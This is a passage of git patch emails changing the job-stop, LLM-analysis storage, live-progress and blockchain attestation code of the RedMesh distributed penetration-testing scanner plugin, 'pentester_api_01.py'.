self._normalize_job_record(job_id, raw_job_specs) - stop_type = str(stop_type).upper() - is_continuous = job_specs.get("run_mode") == RUN_MODE_CONTINUOUS_MONITORING - - if stop_type != "HARD" and not is_continuous: - return {"error": "SOFT stop is only supported for CONTINUOUS_MONITORING jobs", "job_id": job_id} + if job_specs.get("run_mode") != "CONTINUOUS_MONITORING": + return {"error": "Job is not in CONTINUOUS_MONITORING mode", "job_id": job_id} + stop_type = str(stop_type).upper() passes_completed = job_specs.get("job_pass", 1) if stop_type == "HARD": - # Stop local workers if running - local_workers = self.scan_jobs.get(job_id) - if local_workers: - for local_worker_id, job in local_workers.items(): - self.P(f"Stopping job {job_id} on local worker {local_worker_id}.") - job.stop() - self.scan_jobs.pop(job_id, None) - - # Mark worker as finished/canceled in CStore - worker_entry = job_specs.setdefault("workers", {}).setdefault(self.ee_addr, {}) - worker_entry["finished"] = True - worker_entry["canceled"] = True - - job_specs["job_status"] = JOB_STATUS_STOPPED + job_specs["job_status"] = "STOPPED" self._emit_timeline_event(job_specs, "stopped", "Job stopped", actor_type="user") - self.P(f"Hard stop for job {job_id} after {passes_completed} passes") + self.P(f"[CONTINUOUS] Hard stop for job {job_id} after {passes_completed} passes") else: - # SOFT stop - let current pass complete (continuous monitoring only) - job_specs["job_status"] = JOB_STATUS_SCHEDULED_FOR_STOP + # SOFT stop - let current pass complete + job_specs["job_status"] = "SCHEDULED_FOR_STOP" self._emit_timeline_event(job_specs, "scheduled_for_stop", "Stop scheduled", actor_type="user") self.P(f"[CONTINUOUS] Soft stop scheduled for job {job_id} (will stop after current pass)") @@ -3111,7 +2085,7 @@ def stop_monitoring(self, job_id: str, stop_type: str = "SOFT"): "stop_type": stop_type, "job_id": job_id, "passes_completed": passes_completed, - "pass_reports": job_specs.get("pass_reports", []), + "pass_history": job_specs.get("pass_history", []), } @@ -3162,35 +2136,31 @@ def analyze_job( return {"error": "Job not yet complete, some workers still running", "job_id": job_id} # Collect and aggregate reports from all workers - node_reports = self._collect_node_reports(workers) - aggregated_report = self._get_aggregated_report(node_reports) if node_reports else {} + aggregated_report = self._collect_aggregated_report(workers) if not aggregated_report: return {"error": "No report data available for this job", "job_id": job_id} - target = job_specs.get("target", "unknown") - job_config = self._get_job_config(job_specs) - - # Call LLM Agent API - analysis_type = analysis_type or self.cfg_llm_auto_analysis_type - # Add job metadata to report for context - report_with_meta = dict(aggregated_report) - report_with_meta["_job_metadata"] = { + target = job_specs.get("target", "unknown") + aggregated_report["_job_metadata"] = { "job_id": job_id, "target": target, "num_workers": len(workers), "worker_addresses": list(workers.keys()), "start_port": job_specs.get("start_port"), "end_port": job_specs.get("end_port"), - "enabled_features": job_config.get("enabled_features", []), + "enabled_features": job_specs.get("enabled_features", []), } + # Call LLM Agent API + analysis_type = analysis_type or self.cfg_llm_auto_analysis_type + analysis_result = self._call_llm_agent_api( endpoint="/analyze_scan", method="POST", payload={ - "scan_results": report_with_meta, + "scan_results": aggregated_report, "analysis_type": analysis_type, "focus_areas": focus_areas, } @@ -3203,45 +2173,51 @@ def analyze_job( "job_id": job_id, } - # Extract LLM text from result - if isinstance(analysis_result, dict): - llm_text = analysis_result.get("analysis", analysis_result.get("markdown", str(analysis_result))) - else: - llm_text = str(analysis_result) - - # Update the latest pass report with manual analysis - pass_reports = job_specs.get("pass_reports", []) + # Save analysis to R1FS and store in pass_history + analysis_cid = None + pass_history = job_specs.get("pass_history", []) current_pass = job_specs.get("job_pass", 1) - if pass_reports: - # Fetch latest pass report from R1FS, add LLM analysis, re-store - latest_ref = pass_reports[-1] - try: - pass_data = self.r1fs.get_json(latest_ref["report_cid"]) - if pass_data: - pass_data["llm_analysis"] = llm_text - pass_data["llm_failed"] = None # clear failure flag - updated_cid = self.r1fs.add_json(pass_data, show_logs=False) - if updated_cid: - latest_ref["report_cid"] = updated_cid - self._emit_timeline_event( - job_specs, "llm_analysis", - f"Manual LLM analysis completed", - actor_type="user", - meta={"report_cid": updated_cid, "pass_nr": latest_ref.get("pass_nr", current_pass)} - ) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) - self.P(f"Manual LLM analysis saved for job {job_id}, updated pass report CID: {updated_cid}") - except Exception as e: - self.P(f"Failed to update pass report with analysis: {e}", color='y') + try: + analysis_cid = self.r1fs.add_json(analysis_result, show_logs=False) + if analysis_cid: + # Store in pass_history (find the latest completed pass) + if pass_history: + # Update the latest pass entry with analysis CID + pass_history[-1]["llm_analysis_cid"] = analysis_cid + else: + # No pass_history yet - create one + pass_date_started = self._get_timeline_date(job_specs, "pass_started") or self._get_timeline_date(job_specs, "created") + pass_date_completed = self.time() + pass_history.append({ + "pass_nr": current_pass, + "date_started": pass_date_started, + "date_completed": pass_date_completed, + "duration": round(pass_date_completed - pass_date_started, 2) if pass_date_started else None, + "reports": {addr: w.get("report_cid") for addr, w in workers.items()}, + "llm_analysis_cid": analysis_cid, + }) + job_specs["pass_history"] = pass_history + + self._emit_timeline_event( + job_specs, "llm_analysis", + f"Manual LLM analysis completed", + actor_type="user", + meta={"analysis_cid": analysis_cid, "pass_nr": pass_history[-1].get("pass_nr") if pass_history else current_pass} + ) + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) + self.P(f"Manual LLM analysis saved for job {job_id}, CID: {analysis_cid}") + except Exception as e: + self.P(f"Failed to save analysis to R1FS: {e}", color='y') return { "job_id": job_id, "target": target, "num_workers": len(workers), - "pass_nr": pass_reports[-1].get("pass_nr", current_pass) if pass_reports else current_pass, + "pass_nr": pass_history[-1].get("pass_nr") if pass_history else current_pass, "analysis_type": analysis_type, "analysis": analysis_result, + "analysis_cid": analysis_cid, } @@ -3285,66 +2261,53 @@ def get_analysis(self, job_id: str = "", cid: str = "", pass_nr: int = None): if not job_specs: return {"error": "Job not found", "job_id": job_id} - # Look for analysis in pass_reports - pass_reports = job_specs.get("pass_reports", []) - job_status = job_specs.get("job_status", JOB_STATUS_RUNNING) + # Look for analysis in pass_history + pass_history = job_specs.get("pass_history", []) + job_status = job_specs.get("job_status", "RUNNING") - if not pass_reports: - if job_status == JOB_STATUS_RUNNING: + if not pass_history: + if job_status == "RUNNING": return {"error": "Job still running, no passes completed yet", "job_id": job_id, "job_status": job_status} - return {"error": "No pass reports available for this job", "job_id": job_id, "job_status": job_status} + return {"error": "No pass history available for this job", "job_id": job_id, "job_status": job_status} # Find the requested pass (or latest if not specified) target_pass = None if pass_nr is not None: - for entry in pass_reports: + for entry in pass_history: if entry.get("pass_nr") == pass_nr: target_pass = entry break if not target_pass: - return {"error": f"Pass {pass_nr} not found in history", "job_id": job_id, "available_passes": [e.get("pass_nr") for e in pass_reports]} + return {"error": f"Pass {pass_nr} not found in history", "job_id": job_id, "available_passes": [e.get("pass_nr") for e in pass_history]} else: # Get the latest pass - target_pass = pass_reports[-1] + target_pass = pass_history[-1] - # Fetch the PassReport from R1FS to get inline LLM analysis - report_cid = target_pass.get("report_cid") - if not report_cid: + analysis_cid = target_pass.get("llm_analysis_cid") + if not analysis_cid: return { - "error": "No pass report CID available for this pass", + "error": "No LLM analysis available for this pass", "job_id": job_id, "pass_nr": target_pass.get("pass_nr"), "job_status": job_status } try: - pass_data = self.r1fs.get_json(report_cid) - if pass_data is None: - return {"error": "Pass report not found in R1FS", "cid": report_cid, "job_id": job_id} - - llm_analysis = pass_data.get("llm_analysis") - if not llm_analysis: - return { - "error": "No LLM analysis available for this pass", - "job_id": job_id, - "pass_nr": target_pass.get("pass_nr"), - "llm_failed": pass_data.get("llm_failed", False), - "job_status": job_status - } - + analysis = self.r1fs.get_json(analysis_cid) + if analysis is None: + return {"error": "Analysis not found in R1FS", "cid": analysis_cid, "job_id": job_id} return { "job_id": job_id, "pass_nr": target_pass.get("pass_nr"), - "completed_at": pass_data.get("date_completed"), - "report_cid": report_cid, + "completed_at": target_pass.get("completed_at"), + "cid": analysis_cid, "target": job_specs.get("target"), "num_workers": len(job_specs.get("workers", {})), - "total_passes": len(pass_reports), - "analysis": llm_analysis, - "quick_summary": pass_data.get("quick_summary"), + "total_passes": len(pass_history), + "analysis": analysis, } except Exception as e: - return {"error": str(e), "cid": report_cid, "job_id": job_id} + return {"error": str(e), "cid": analysis_cid, "job_id": job_id} @BasePlugin.endpoint @@ -3360,224 +2323,6 @@ def llm_health(self): return self._get_llm_health_status() - @staticmethod - def _merge_worker_metrics(metrics_list): - """Merge scan_metrics dicts from multiple local worker threads.""" - if not metrics_list: - return None - merged = {} - # Sum connection outcomes - outcomes = {} - for m in metrics_list: - for k, v in (m.get("connection_outcomes") or {}).items(): - outcomes[k] = outcomes.get(k, 0) + v - if outcomes: - merged["connection_outcomes"] = outcomes - # Sum coverage - cov_scanned = sum(m.get("coverage", {}).get("ports_scanned", 0) for m in metrics_list if m.get("coverage")) - cov_range = sum(m.get("coverage", {}).get("ports_in_range", 0) for m in metrics_list if m.get("coverage")) - cov_skipped = sum(m.get("coverage", {}).get("ports_skipped", 0) for m in metrics_list if m.get("coverage")) - cov_open = sum(m.get("coverage", {}).get("open_ports_count", 0) for m in metrics_list if m.get("coverage")) - if cov_range: - merged["coverage"] = { - "ports_in_range": cov_range, "ports_scanned": cov_scanned, - "ports_skipped": cov_skipped, - "coverage_pct": round(cov_scanned / cov_range * 100, 1), - "open_ports_count": cov_open, - } - # Sum finding distribution - findings = {} - for m in metrics_list: - for k, v in (m.get("finding_distribution") or {}).items(): - findings[k] = findings.get(k, 0) + v - if findings: - merged["finding_distribution"] = findings - # Sum service distribution - services = {} - for m in metrics_list: - for k, v in (m.get("service_distribution") or {}).items(): - services[k] = services.get(k, 0) + v - if services: - merged["service_distribution"] = services - # Sum probe counts - for field in ("probes_attempted", "probes_completed", "probes_skipped", "probes_failed"): - merged[field] = sum(m.get(field, 0) for m in metrics_list) - # Merge probe breakdown (union of all probes) - probe_bd = {} - for m in metrics_list: - for k, v in (m.get("probe_breakdown") or {}).items(): - # Keep worst status: failed > skipped > completed - existing = probe_bd.get(k) - if existing is None or v == "failed" or (v.startswith("skipped") and existing == "completed"): - probe_bd[k] = v - if probe_bd: - merged["probe_breakdown"] = probe_bd - # Total duration: max across threads/nodes (they run in parallel) - merged["total_duration"] = max(m.get("total_duration", 0) for m in metrics_list) - # Phase durations: max per phase (threads/nodes run in parallel, so wall-clock - # time for each phase is the max across all of them) - all_phases = {} - for m in metrics_list: - for phase, dur in (m.get("phase_durations") or {}).items(): - all_phases[phase] = max(all_phases.get(phase, 0), dur) - if all_phases: - merged["phase_durations"] = all_phases - longest = max(metrics_list, key=lambda m: m.get("total_duration", 0)) - # Merge stats distributions (response_times, port_scan_delays) - # Use weighted mean, global min/max, approximate p95/p99 from max of per-thread values - for stats_field in ("response_times", "port_scan_delays"): - stats_list = [m[stats_field] for m in metrics_list if m.get(stats_field)] - if stats_list: - total_count = sum(s.get("count", 0) for s in stats_list) - if total_count > 0: - merged[stats_field] = { - "min": min(s["min"] for s in stats_list), - "max": max(s["max"] for s in stats_list), - "mean": round(sum(s["mean"] * s.get("count", 1) for s in stats_list) / total_count, 4), - "median": round(sum(s["median"] * s.get("count", 1) for s in stats_list) / total_count, 4), - "stddev": round(max(s.get("stddev", 0) for s in stats_list), 4), - "p95": round(max(s.get("p95", 0) for s in stats_list), 4), - "p99": round(max(s.get("p99", 0) for s in stats_list), 4), - "count": total_count, - } - # Success rate over time: take from the longest-running thread - if longest.get("success_rate_over_time"): - merged["success_rate_over_time"] = longest["success_rate_over_time"] - # Detection flags (any thread detecting = True) - merged["rate_limiting_detected"] = any(m.get("rate_limiting_detected") for m in metrics_list) - merged["blocking_detected"] = any(m.get("blocking_detected") for m in metrics_list) - # Open port details: union, deduplicate by port - all_details = [] - seen_ports = set() - for m in metrics_list: - for d in (m.get("open_port_details") or []): - if d["port"] not in seen_ports: - seen_ports.add(d["port"]) - all_details.append(d) - if all_details: - merged["open_port_details"] = sorted(all_details, key=lambda x: x["port"]) - # Banner confirmation: sum counts - bc_confirmed = sum(m.get("banner_confirmation", {}).get("confirmed", 0) for m in metrics_list) - bc_guessed = sum(m.get("banner_confirmation", {}).get("guessed", 0) for m in metrics_list) - if bc_confirmed + bc_guessed > 0: - merged["banner_confirmation"] = {"confirmed": bc_confirmed, "guessed": bc_guessed} - return merged - - def _publish_live_progress(self): - """ - Publish live progress for all active local scan jobs. - - Builds per-thread progress data and writes a single WorkerProgress entry - per job to the `:live` CStore hset. Called periodically from process(). - - Progress is stage-based (stage_idx / 5 * 100) with port-scan sub-progress. - Phase is the earliest (least advanced) phase across all threads. - Per-thread data (phase, ports) is included when multiple threads are active. - """ - now = self.time() - if now - self._last_progress_publish < PROGRESS_PUBLISH_INTERVAL: - return - self._last_progress_publish = now - - live_hkey = f"{self.cfg_instance_id}:live" - ee_addr = self.ee_addr - - nr_phases = len(PHASE_ORDER) - - for job_id, local_workers in self.scan_jobs.items(): - if not local_workers: - continue - - # Build per-thread data - total_scanned = 0 - total_ports = 0 - all_open = set() - all_tests = set() - thread_entries = {} - thread_phases = [] - worker_metrics = [] - - for tid, worker in local_workers.items(): - state = worker.state - nr_ports = len(worker.initial_ports) - t_scanned = len(state.get("ports_scanned", [])) - t_open = sorted(state.get("open_ports", [])) - t_phase = _thread_phase(state) - - total_scanned += t_scanned - total_ports += nr_ports - all_open.update(t_open) - all_tests.update(state.get("completed_tests", [])) - worker_metrics.append(worker.metrics.build().to_dict()) - thread_phases.append(t_phase) - - thread_entries[tid] = { - "phase": t_phase, - "ports_scanned": t_scanned, - "ports_total": nr_ports, - "open_ports_found": t_open, - } - - # Overall phase: earliest (least advanced) across threads - phase_indices = [PHASE_ORDER.index(p) if p in PHASE_ORDER else nr_phases for p in thread_phases] - min_phase_idx = min(phase_indices) if phase_indices else 0 - phase = PHASE_ORDER[min_phase_idx] if min_phase_idx < nr_phases else "done" - - # Stage-based progress: completed_stages / total * 100 - # During port_scan, add sub-progress based on ports scanned - stage_progress = (min_phase_idx / nr_phases) * 100 - if phase == "port_scan" and total_ports > 0: - stage_progress += (total_scanned / total_ports) * (100 / nr_phases) - progress_pct = round(min(stage_progress, 100), 1) - - # Look up pass number from CStore - job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) - pass_nr = 1 - if isinstance(job_specs, dict): - pass_nr = job_specs.get("job_pass", 1) - - # Merge metrics from all local threads - merged_metrics = worker_metrics[0] if len(worker_metrics) == 1 else self._merge_worker_metrics(worker_metrics) - - progress = WorkerProgress( - job_id=job_id, - worker_addr=ee_addr, - pass_nr=pass_nr, - progress=progress_pct, - phase=phase, - ports_scanned=total_scanned, - ports_total=total_ports, - open_ports_found=sorted(all_open), - completed_tests=sorted(all_tests), - updated_at=now, - live_metrics=merged_metrics, - threads=thread_entries if len(thread_entries) > 1 else None, - ) - self.chainstore_hset( - hkey=live_hkey, - key=f"{job_id}:{ee_addr}", - value=progress.to_dict(), - ) - - def _clear_live_progress(self, job_id, worker_addresses): - """ - Remove live progress keys for a completed job. - - Parameters - ---------- - job_id : str - Job identifier. - worker_addresses : list[str] - Worker addresses whose progress keys should be removed. - """ - live_hkey = f"{self.cfg_instance_id}:live" - for addr in worker_addresses: - self.chainstore_hset( - hkey=live_hkey, - key=f"{job_id}:{addr}", - value=None, # delete - ) - def process(self): """ Periodic task handler: launch new jobs and close completed ones. @@ -3604,10 +2349,6 @@ def process(self): #endif # Launch any new jobs self._maybe_launch_jobs() - # Publish live progress for active scans - self._publish_live_progress() - # Stop local workers for jobs that were stopped via API (multi-node propagation) - self._maybe_stop_canceled_jobs() # Check active jobs for completion self._maybe_close_jobs() # Finalize completed passes and handle continuous monitoring (launcher only) From 6baf7a12b1f7e6624465f890caa5640297b99a36 Mon Sep 17 00:00:00 2001 From: Alessandro Date: Thu, 5 Mar 2026 10:27:30 +0100 Subject: [PATCH 002/114] fix: add execution_id to attestation --- .../cybersec/red_mesh/pentester_api_01.py | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index a2ecf825..aa737a82 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -288,6 +288,19 @@ def _attestation_pack_ip_obfuscated(self, target) -> str: last_octet = int(octets[-1]) return f"0x{first_octet:02x}{last_octet:02x}" + @staticmethod + def _attestation_pack_execution_id(job_id) -> str: + if not isinstance(job_id, str): + raise ValueError("job_id must be a string") + job_id = job_id.strip() + if len(job_id) != 8: + raise ValueError("job_id must be exactly 8 characters") + try: + data = job_id.encode("ascii") + except UnicodeEncodeError as exc: + raise ValueError("job_id must contain only ASCII characters") from exc + return "0x" + data.hex() + def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score): if not self.cfg_attestation_enabled: @@ -306,6 +319,7 @@ def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulne node_count = len(workers) if isinstance(workers, dict) else 0 # TODO: replace placeholder score with proper RedMesh vulnerability scoring logic. target = job_specs.get("target") + execution_id = self._attestation_pack_execution_id(job_id) report_cid = workers.get(self.ee_addr, {}).get("report_cid", None) #TODO: use the correct CID node_eth_address = self.bc.eth_address ip_obfuscated = self._attestation_pack_ip_obfuscated(target) @@ -317,15 +331,17 @@ def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulne test_mode, node_count, vulnerability_score, + execution_id, ip_obfuscated, cid_obfuscated, ], - signature_types=["bytes32", "uint8", "uint16", "uint8", "bytes2", "bytes10"], + signature_types=["bytes32", "uint8", "uint16", "uint8", "bytes8", "bytes2", "bytes10"], signature_values=[ self.REDMESH_ATTESTATION_DOMAIN, test_mode, node_count, vulnerability_score, + execution_id, ip_obfuscated, cid_obfuscated, ], @@ -338,6 +354,7 @@ def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulne "test_mode": "C" if test_mode == 1 else "S", "node_count": node_count, "vulnerability_score": vulnerability_score, + "execution_id": execution_id, "report_cid": report_cid, "node_eth_address": node_eth_address, } From 856d38161c2d0fa4f52404a475792031818eaabc Mon Sep 17 00:00:00 2001 From: Alessandro Date: Thu, 5 Mar 2026 11:43:50 +0100 Subject: [PATCH 003/114] Add RedMesh job-start attestation submission flow --- .../cybersec/red_mesh/pentester_api_01.py | 109 ++++++++++++++++-- 1 file changed, 102 insertions(+), 7 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index aa737a82..478e1301 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -302,7 +302,28 @@ def _attestation_pack_execution_id(job_id) -> str: return "0x" + data.hex() - def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score): + def _attestation_get_worker_eth_addresses(self, workers: dict) -> list[str]: + if not isinstance(workers, dict): + return [] + eth_addresses = [] + for node_addr in workers.keys(): + eth_addr = self.bc.node_addr_to_eth_addr(node_addr) + if not isinstance(eth_addr, str) or not eth_addr.startswith("0x"): + raise ValueError(f"Unable to convert worker node to EVM address: {node_addr}") + eth_addresses.append(eth_addr) + eth_addresses.sort() + return eth_addresses + + def _attestation_pack_node_hashes(self, workers: dict) -> str: + eth_addresses = self._attestation_get_worker_eth_addresses(workers) + if len(eth_addresses) == 0: + return "0x" + ("00" * 32) + digest = self.bc.eth_hash_message(types=["address[]"], values=[eth_addresses], as_hex=True) + if isinstance(digest, str) and digest.startswith("0x"): + return digest + return "0x" + str(digest) + + def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score=0): if not self.cfg_attestation_enabled: return None tenant_private_key = self._attestation_get_tenant_private_key() @@ -326,7 +347,7 @@ def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulne cid_obfuscated = self._attestation_pack_cid_obfuscated(report_cid) tx_hash = self.bc.submit_attestation( - function_name="submitRedmeshAttestation", + function_name="submitRedmeshTestAttestation", function_args=[ test_mode, node_count, @@ -359,12 +380,71 @@ def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulne "node_eth_address": node_eth_address, } self.P( - "Submitted RedMesh attestation for " + "Submitted RedMesh test attestation for " f"{job_id} (tx: {tx_hash}, node: {node_eth_address}, score: {vulnerability_score})", color='g' ) return result + def _submit_redmesh_job_start_attestation(self, job_id: str, job_specs: dict, workers: dict): + if not self.cfg_attestation_enabled: + return None + tenant_private_key = self._attestation_get_tenant_private_key() + if tenant_private_key is None: + self.P( + "RedMesh attestation is enabled but tenant private key is missing. " + "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'.", + color='y' + ) + return None + + run_mode = str(job_specs.get("run_mode", "SINGLEPASS")).upper() + test_mode = 1 if run_mode == "CONTINUOUS_MONITORING" else 0 + node_count = len(workers) if isinstance(workers, dict) else 0 + target = job_specs.get("target") + execution_id = self._attestation_pack_execution_id(job_id) + node_eth_address = self.bc.eth_address + ip_obfuscated = self._attestation_pack_ip_obfuscated(target) + node_hashes = self._attestation_pack_node_hashes(workers) + + tx_hash = self.bc.submit_attestation( + function_name="submitRedmeshJobStartAttestation", + function_args=[ + test_mode, + node_count, + execution_id, + node_hashes, + ip_obfuscated, + ], + signature_types=["bytes32", "uint8", "uint16", "bytes8", "bytes32", "bytes2"], + signature_values=[ + self.REDMESH_ATTESTATION_DOMAIN, + test_mode, + node_count, + execution_id, + node_hashes, + ip_obfuscated, + ], + tx_private_key=tenant_private_key, + ) + + result = { + "job_id": job_id, + "tx_hash": tx_hash, + "test_mode": "C" if test_mode == 1 else "S", + "node_count": node_count, + "execution_id": execution_id, + "node_hashes": node_hashes, + "ip_obfuscated": ip_obfuscated, + "node_eth_address": node_eth_address, + } + self.P( + "Submitted RedMesh job-start attestation for " + f"{job_id} (tx: {tx_hash}, node: {node_eth_address}, node_count: {node_count})", + color='g' + ) + return result + def __post_init(self): """ @@ -1292,18 +1372,18 @@ def _maybe_finalize_pass(self): if should_submit_attestation: # Best-effort on-chain summary; failures must not block pass finalization. try: - redmesh_attestation = self._submit_attestation( + redmesh_test_attestation = self._submit_redmesh_test_attestation( job_id=job_id, job_specs=job_specs, workers=workers, vulnerability_score=risk_score ) - if redmesh_attestation is not None: - pass_record["redmesh_attestation"] = redmesh_attestation + if redmesh_test_attestation is not None: + pass_record["redmesh_test_attestation"] = redmesh_test_attestation job_specs["last_attestation_at"] = now_ts except Exception as exc: self.P( - f"Failed to submit RedMesh attestation for job {job_id}: {exc}", + f"Failed to submit RedMesh test attestation for job {job_id}: {exc}", color='r' ) @@ -1779,6 +1859,21 @@ def launch_test( actor_type="user" ) self._emit_timeline_event(job_specs, "started", "Scan started", actor=self.ee_id, actor_type="node") + + try: + redmesh_job_start_attestation = self._submit_redmesh_job_start_attestation( + job_id=job_id, + job_specs=job_specs, + workers=workers, + ) + if redmesh_job_start_attestation is not None: + job_specs["redmesh_job_start_attestation"] = redmesh_job_start_attestation + except Exception as exc: + self.P( + f"Failed to submit RedMesh job-start attestation for job {job_id}: {exc}", + color='r' + ) + self.chainstore_hset( hkey=self.cfg_instance_id, key=job_id, From 9be69de3011b58a25e290ed58e9e49a8df2305cb Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 6 Mar 2026 15:08:42 +0000 Subject: [PATCH 004/114] fix: set up private key in plugin config --- extensions/business/cybersec/red_mesh/pentester_api_01.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 478e1301..63aa07f4 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -98,6 +98,7 @@ "SCANNER_USER_AGENT": "", # HTTP User-Agent (empty = default requests UA) # RedMesh attestation submission + "ATTESTATION_PRIVATE_KEY": "", "ATTESTATION_ENABLED": True, "ATTESTATION_MIN_SECONDS_BETWEEN_SUBMITS": 86400, @@ -227,8 +228,7 @@ def Pd(self, s, *args, score=-1, **kwargs): def _attestation_get_tenant_private_key(self): - env_name = "R1EN_ATTESTATION_PRIVATE_KEY" - private_key = self.os_environ.get(env_name, None) + private_key = self.cfg_attestation_private_key if private_key: private_key = private_key.strip() if not private_key: From 81e99d34b8c91084bd0e5deb323bb6fa7a2b80cb Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 6 Mar 2026 17:00:22 +0000 Subject: [PATCH 005/114] fix: pass history read --- extensions/business/cybersec/red_mesh/pentester_api_01.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 63aa07f4..924f5f03 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1356,8 +1356,8 @@ def _maybe_finalize_pass(self): risk_score = 0 if aggregated_for_score: risk_result = self._compute_risk_score(aggregated_for_score) - pass_history[-1]["risk_score"] = risk_result["score"] - pass_history[-1]["risk_breakdown"] = risk_result["breakdown"] + pass_record["risk_score"] = risk_result["score"] + pass_record["risk_breakdown"] = risk_result["breakdown"] risk_score = risk_result["score"] job_specs["risk_score"] = risk_score self.P(f"Risk score for job {job_id} pass {job_pass}: {risk_result['score']}/100") From 1f88bc357480962dfdca442b6f30bdc92aaad277 Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 6 Mar 2026 19:04:04 +0000 Subject: [PATCH 006/114] fix: add loggign for attestation --- .../cybersec/red_mesh/pentester_api_01.py | 42 +++++++++++++++---- 1 file changed, 35 insertions(+), 7 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 924f5f03..023d63e5 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -324,13 +324,15 @@ def _attestation_pack_node_hashes(self, workers: dict) -> str: return "0x" + str(digest) def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score=0): + self.P(f"[ATTESTATION] Test attestation requested for job {job_id} (score={vulnerability_score})") if not self.cfg_attestation_enabled: + self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') return None tenant_private_key = self._attestation_get_tenant_private_key() if tenant_private_key is None: self.P( - "RedMesh attestation is enabled but tenant private key is missing. " - "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'.", + "[ATTESTATION] Tenant private key is missing. " + "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'. Skipping.", color='y' ) return None @@ -338,7 +340,6 @@ def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers run_mode = str(job_specs.get("run_mode", "SINGLEPASS")).upper() test_mode = 1 if run_mode == "CONTINUOUS_MONITORING" else 0 node_count = len(workers) if isinstance(workers, dict) else 0 - # TODO: replace placeholder score with proper RedMesh vulnerability scoring logic. target = job_specs.get("target") execution_id = self._attestation_pack_execution_id(job_id) report_cid = workers.get(self.ee_addr, {}).get("report_cid", None) #TODO: use the correct CID @@ -346,6 +347,11 @@ def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers ip_obfuscated = self._attestation_pack_ip_obfuscated(target) cid_obfuscated = self._attestation_pack_cid_obfuscated(report_cid) + self.P( + f"[ATTESTATION] Submitting test attestation: job={job_id}, mode={'CONTINUOUS' if test_mode else 'SINGLEPASS'}, " + f"nodes={node_count}, score={vulnerability_score}, target={ip_obfuscated}, " + f"cid={cid_obfuscated}, sender={node_eth_address}" + ) tx_hash = self.bc.submit_attestation( function_name="submitRedmeshTestAttestation", function_args=[ @@ -387,13 +393,15 @@ def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers return result def _submit_redmesh_job_start_attestation(self, job_id: str, job_specs: dict, workers: dict): + self.P(f"[ATTESTATION] Job-start attestation requested for job {job_id}") if not self.cfg_attestation_enabled: + self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') return None tenant_private_key = self._attestation_get_tenant_private_key() if tenant_private_key is None: self.P( - "RedMesh attestation is enabled but tenant private key is missing. " - "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'.", + "[ATTESTATION] Tenant private key is missing. " + "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'. Skipping.", color='y' ) return None @@ -407,6 +415,12 @@ def _submit_redmesh_job_start_attestation(self, job_id: str, job_specs: dict, wo ip_obfuscated = self._attestation_pack_ip_obfuscated(target) node_hashes = self._attestation_pack_node_hashes(workers) + worker_addrs = list(workers.keys()) if isinstance(workers, dict) else [] + self.P( + f"[ATTESTATION] Submitting job-start attestation: job={job_id}, mode={'CONTINUOUS' if test_mode else 'SINGLEPASS'}, " + f"nodes={node_count}, target={ip_obfuscated}, node_hashes={node_hashes}, " + f"workers={worker_addrs}, sender={node_eth_address}" + ) tx_hash = self.bc.submit_attestation( function_name="submitRedmeshJobStartAttestation", function_args=[ @@ -1367,6 +1381,12 @@ def _maybe_finalize_pass(self): last_attestation_at = job_specs.get("last_attestation_at") min_interval = self.cfg_attestation_min_seconds_between_submits if last_attestation_at is not None and now_ts - last_attestation_at < min_interval: + elapsed = round(now_ts - last_attestation_at) + self.P( + f"[ATTESTATION] Skipping test attestation for job {job_id}: " + f"last submitted {elapsed}s ago, min interval is {min_interval}s", + color='y' + ) should_submit_attestation = False if should_submit_attestation: @@ -1382,8 +1402,12 @@ def _maybe_finalize_pass(self): pass_record["redmesh_test_attestation"] = 